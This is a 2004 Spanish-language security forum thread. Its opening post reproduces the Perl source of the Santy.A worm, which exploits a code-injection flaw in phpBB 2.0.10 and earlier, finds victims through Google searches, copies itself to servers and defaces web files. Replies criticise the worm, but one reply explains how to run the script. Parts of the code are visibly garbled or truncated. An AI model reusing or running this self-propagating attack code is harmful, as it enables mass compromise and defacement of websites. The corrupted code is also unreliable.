elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 16:54  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)  (Leído 1,134 veces)
fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)
« en: 22 Diciembre 2004, 12:37 »

#
# Santy.A - phpBB <= 2.0.10 Web Worm Source Code (Proof of Concept)
#                          ~~ For educational purpose ~~
#
# See : http://isc.sans.org/diary.php?date=2004-12-21
#          http://www.k-otik.com/news/20041221.phpbbworm.php
#          http://www.f-secure.com/v-descs/santy_a.shtml
#
#!/usr/bin/perl
use
strict;
use Socket;


sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = x;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;

while(!GrabURL('http://www.google.com/advanced_search')) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}

$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;

my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';

while(1) {
exit if -e 'stop.it';

OUTER: for my $url (GoGoogle()) {

exit if -e 'stop.it';

$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;

while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),
' . str2chr($1) . '),exit%252e%2527';

$url =~ s/&highlight=.*$//;
$url .= $portion;

next OUTER unless GrabURL($url);
}

my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;

GrabURL($url);
}
}



sub str2chr($) {
my $s = shift;

$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
$s =~ s/%252e$//;

return $s;
}


sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '&
q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) .
'%22&btnG=Search';
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26
alt="" border=0><br>\d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL('www.google.com' . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}

return @urls;
}


sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;

my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);

my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept:*/*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";

my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}

my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;

my $answer = join '', <Server>;
close (Server);

return $answer;
}


sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};

unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}


sub DoDir($) {

my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/$#;

local *DIR;
opendir DIR, $dir or return;

for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}

if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i
or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}

closedir DIR;
}


sub Pay Load() {

my @dirs;


eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};

push(@dirs, '/ ');

for my $l ('A' .. 'Z') {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}

Solution : Upgrade to phpBB version 2.0.11
Fuente: k-otick
En línea

el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 17.227


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)
« Respuesta #1 en: 23 Diciembre 2004, 02:09 »

me parece lamentable y poco ético un gusano de este tipo.... lo único que hace es aprovechar una automatizar una vulnerabilidad descubierta para otro para crear mala fama en internet de los supuestos hackers.

Penoso. Creo que cualquiera con un mínimo de conocimientos puede escribir una aplicación (usando luego google) que se encarga de joder webs vulnerables.
En línea

"elhacker.net es único, por eso no fabrica para otras marcas"  - Prohibido prohibir

DaRkShAdOw_xp

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)
« Respuesta #2 en: 24 Diciembre 2004, 09:33 »

como se debe compilar ese codigo y como es ejecuta correctamente.

Saludos
En línea
fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)
« Respuesta #3 en: 24 Diciembre 2004, 21:45 »

Guardalo como nombre.pl, luego desde la cansola de linux ejecutas: perl nombre.pl
Y si estas en windows tienes que conseguirte el perl y lo ejecutas de lla misma forma.
Saludos.
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)
« Respuesta #4 en: 25 Diciembre 2004, 00:41 »

Este es el jodid.... gusanito que estuvo dando por saco a la web de un colega...

En fin, mejor me ahorro el comentario, ya que me saldria otra vez la vena de la frente...

En línea

fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)
« Respuesta #5 en: 25 Diciembre 2004, 10:29 »

Este es el jodid.... gusanito que estuvo dando por saco a la web de un colega...

En fin, mejor me ahorro el comentario, ya que me saldria otra vez la vena de la frente...



Rojodos no se si el comentario que te vas a ahorrar es para mi, pero lo publique por info nada mas, no para que un lamer de m... lo use para joder webs inofencibas. ;)

Saludos.
« Última modificación: 25 Diciembre 2004, 10:31 por fandango » En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Santy.A - phpBB <= 2.0.10 Web Worm Source Code (PoC)
« Respuesta #6 en: 25 Diciembre 2004, 19:58 »

No, fandango, no es por ti, tranquilo :)

Yo he puesto en este foro muchos exploits.

Es por los tontos que usan estos para hacer defacements masivos y demas tonterias que no sirven para nada.

Salu2
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines